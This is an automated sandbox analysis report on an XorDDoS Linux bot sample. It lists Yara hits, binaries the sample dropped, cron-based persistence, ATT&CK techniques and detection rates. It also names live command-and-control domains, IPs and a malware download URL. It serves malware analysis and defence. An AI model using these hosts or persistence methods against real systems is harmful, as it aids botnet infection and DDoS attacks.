Source: /usr/bin/urppslzpni (PID: 6622)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/urppslzpni (PID: 6625)	Queries kernel information via 'uname':	Jump to behavior

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Remote Access Functionality

Yara detected XorDDoS Bot

Source: Yara match	File source: Di1p3oLnDb.elf, type: SAMPLE
Source: Yara match	File source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6227, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6262, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6265, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6275, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6282, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6285, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6294, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6299, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6302, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6311, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6314, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6319, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6321, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6331, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6333, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6339, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6345, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6351, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6353, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6357, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6365, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6370, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6373, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6375, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6387, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6389, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6393, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6395, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6401, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6407, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6409, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6418, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6421, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6423, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6429, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6443, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6446, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6455, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6463, type: MEMORYSTR
Source: Yara match	File source: /usr/bin/kihierzlde, type: DROPPED
Source: Yara match	File source: /usr/bin/xmnjiktnas, type: DROPPED
Source: Yara match	File source: /usr/bin/uvilsmwwhk, type: DROPPED
Source: Yara match	File source: /usr/lib/libudev.so, type: DROPPED
Source: Yara match	File source: /usr/bin/koygrrjkon, type: DROPPED
Source: Yara match	File source: /usr/bin/hszflciagy, type: DROPPED
Source: Yara match	File source: /usr/bin/qhknhggmjf, type: DROPPED
Source: Yara match	File source: /usr/bin/ilrbozcctp, type: DROPPED
Source: Yara match	File source: /usr/bin/cbsypxwvhg, type: DROPPED
Source: Yara match	File source: /usr/bin/dvisuvnfsi, type: DROPPED
Source: Yara match	File source: /usr/bin/dwfhzeeizt, type: DROPPED
Source: Yara match	File source: /usr/bin/gwqnqvffue, type: DROPPED
Source: Yara match	File source: /usr/bin/ltaanxttrs, type: DROPPED
Source: Yara match	File source: /usr/bin/bvyxmkkmbp, type: DROPPED
Source: Yara match	File source: /usr/bin/thgxtutpuw, type: DROPPED
Source: Yara match	File source: /usr/bin/zzdslzxygn, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	1 Systemd Service	1 Systemd Service	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 At (Linux)	2 At (Linux)	2 At (Linux)	2 Scripting	LSASS Memory	2 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Di1p3oLnDb.elf	76%	ReversingLabs	Linux.Network.XorDDoS
Di1p3oLnDb.elf	65%	Virustotal		Browse
Di1p3oLnDb.elf	61%	Metadefender		Browse
Di1p3oLnDb.elf	100%	Avira	LINUX/Xorddos.dkabc
Di1p3oLnDb.elf	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/bin/cbsypxwvhg	100%	Avira	LINUX/Xorddos.vcwea
/usr/lib/libudev.so	100%	Avira	LINUX/Xorddos.dkabc
/usr/bin/thgxtutpuw	100%	Joe Sandbox ML
/usr/bin/cbsypxwvhg	100%	Joe Sandbox ML
/usr/bin/xmnjiktnas	100%	Joe Sandbox ML
/usr/bin/qhknhggmjf	100%	Joe Sandbox ML
/usr/bin/koygrrjkon	100%	Joe Sandbox ML
/usr/bin/zzdslzxygn	100%	Joe Sandbox ML
/usr/bin/uvilsmwwhk	100%	Joe Sandbox ML
/usr/bin/bvyxmkkmbp	100%	Joe Sandbox ML
/usr/bin/ltaanxttrs	100%	Joe Sandbox ML
/usr/bin/dwfhzeeizt	100%	Joe Sandbox ML
/usr/bin/gwqnqvffue	100%	Joe Sandbox ML
/usr/bin/dvisuvnfsi	100%	Joe Sandbox ML
/usr/lib/libudev.so	100%	Joe Sandbox ML
/usr/bin/hszflciagy	100%	Joe Sandbox ML
/usr/bin/ilrbozcctp	100%	Joe Sandbox ML
/usr/bin/kihierzlde	100%	Joe Sandbox ML
/etc/cron.hourly/gcc.sh	28%	ReversingLabs	Linux.Trojan.XorDDoS
/etc/cron.hourly/gcc.sh	0%	Metadefender		Browse
/usr/bin/cbsypxwvhg	46%	ReversingLabs	Linux.Network.Xor
/usr/lib/libudev.so	76%	ReversingLabs	Linux.Network.XorDDoS
/usr/lib/libudev.so	61%	Metadefender		Browse

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://aa.hostasa.org/config.rartat456.com:1523	100%	Avira URL Cloud	malware
http://aa.hostasa.org/config.rar	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ppp.gggatat456.com	79.137.1.133	true	true		unknown
aa.hostasa.org	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.gnu.org/software/libc/bugs.html	Di1p3oLnDb.elf, thgxtutpuw.11.dr, xmnjiktnas.11.dr, qhknhggmjf.11.dr, koygrrjkon.11.dr, zzdslzxygn.11.dr, uvilsmwwhk.11.dr, bvyxmkkmbp.11.dr, ltaanxttrs.11.dr, dwfhzeeizt.11.dr, gwqnqvffue.11.dr, dvisuvnfsi.11.dr, libudev.so.11.dr, hszflciagy.11.dr, ilrbozcctp.11.dr, kihierzlde.11.dr	false		high
http://aa.hostasa.org/config.rar	Di1p3oLnDb.elf, 6224.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6226.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6227.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6228.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6257.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6259.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6262.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6265.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6267.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6275.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6278.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6282.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6285.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6288.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6294.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6296.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6299.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6302.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6304.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6311.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6314.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp	false	Avira URL Cloud: malware	unknown
http://aa.hostasa.org/config.rartat456.com:1523	Di1p3oLnDb.elf, 6224.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6226.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6227.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6228.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6257.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6259.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6262.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6265.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6267.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6275.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6278.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6282.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6285.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6288.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6294.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6296.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6299.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6302.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6304.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6311.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6314.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
79.137.1.133	ppp.gggatat456.com	France	16276	OVHFR	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
109.202.202.202	UB7qm0UAlo.elf	Get hash	malicious	Browse
	VPTd0SSLBF.elf	Get hash	malicious	Browse
	ijev08e8Zl.elf	Get hash	malicious	Browse
	mjhnmvd9pD.elf	Get hash	malicious	Browse
	TtakDaRaOK.elf	Get hash	malicious	Browse
	iz6Ue364Ew.elf	Get hash	malicious	Browse
	M3AlQ4qnD1.elf	Get hash	malicious	Browse
	yhLIv1JXjE.elf	Get hash	malicious	Browse
	8CGsiHf6DR.elf	Get hash	malicious	Browse
	SecuriteInfo.com.Linux.Mirai.3982.5725.7823.elf	Get hash	malicious	Browse
	4Yqjr4tC9n.elf	Get hash	malicious	Browse
	sc8muOd7mo.elf	Get hash	malicious	Browse
	x86.elf	Get hash	malicious	Browse
	cKZac59X2j.elf	Get hash	malicious	Browse
	1CJjWJsHDl.elf	Get hash	malicious	Browse
	eo1u445yTK.elf	Get hash	malicious	Browse
	ppLV4FVVqY.elf	Get hash	malicious	Browse
	yshu93ItWh.elf	Get hash	malicious	Browse
	hDSjcaupwB.elf	Get hash	malicious	Browse
	829Gc0aLcJ.elf	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ppp.gggatat456.com	xor1.o	Get hash	malicious	Browse	176.31.91.137
	0Xorddos.o	Get hash	malicious	Browse	54.36.145.106
	XZFWLZVF1Z	Get hash	malicious	Browse	54.36.15.99
	CD2uXlYGfa	Get hash	malicious	Browse	51.68.183.111
	7ZDbt9EUgm	Get hash	malicious	Browse	51.89.70.85
	ygljglkjgfg0	Get hash	malicious	Browse	51.89.52.13
	2wyzX8yBdR	Get hash	malicious	Browse	51.38.200.187

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	file.exe	Get hash	malicious	Browse	5.135.247.111
	DOCUMENTO DE RECEPCI#U00d3N AWB DHL57804239,pdf (2).exe	Get hash	malicious	Browse	5.196.141.86
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Bestellbeleg _ TCW23955 _.exe	Get hash	malicious	Browse	5.196.141.86
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Y59aRd28QW.exe	Get hash	malicious	Browse	51.89.96.41
	file.exe	Get hash	malicious	Browse	5.135.247.111
	https://l.facebook.com/l.php?u=http%3A%2F%2Fonlinestreamer24.com%2Fweapons-tour-of-meanjin%2F&h=AT03hesXA6I8i9r4SxtPrB930yoM3rTN7f9UIm9F8awnVt6H-uYq1p7XoNVRkEuLX03PeIKUipAqWKVv9ffO3dn95nzc3dkeY5cR7aY_fX59WOJQ3nf49j2Zqm94sbh-dIGvELhVN5D7kT67EY25&__tn__=R%5D-R&c%5B0%5D=AT3IPcBJQZQs3ir-5xvJwHUQRSjwafgFBswPir0uE4NWSintSjf-6HEZdHZLDC3uCd-rX4P9K8xIihnOo96anJcy5dXY9zkOONZJhscStr6JETeHf9RK27YVyvCOva5Hr10qQnfZj5Cjde73C_oEz1GVRFiiDjjgslRpKdiVv9nIni9zDO6Kqmd0TMSqekBHIjnmkxsKkk_wGzO_aF_FigWzqaLJdYaEWvDItjuhpRlDQEev	Get hash	malicious	Browse	46.105.201.240
	file.exe	Get hash	malicious	Browse	5.135.247.111
	dhl awb 3452778287 shipping delivery notification,pdf.exe	Get hash	malicious	Browse	5.196.141.86
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Supplier_quality_agreements_fda (xyr).js	Get hash	malicious	Browse	188.165.196.209
	BatRyF58ou.exe	Get hash	malicious	Browse	51.83.171.223
	file.exe	Get hash	malicious	Browse	5.135.247.111
	x86.elf	Get hash	malicious	Browse	51.75.58.248
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
INIT7CH	UB7qm0UAlo.elf	Get hash	malicious	Browse	109.202.202.202
	VPTd0SSLBF.elf	Get hash	malicious	Browse	109.202.202.202
	ijev08e8Zl.elf	Get hash	malicious	Browse	109.202.202.202
	mjhnmvd9pD.elf	Get hash	malicious	Browse	109.202.202.202
	TtakDaRaOK.elf	Get hash	malicious	Browse	109.202.202.202
	iz6Ue364Ew.elf	Get hash	malicious	Browse	109.202.202.202
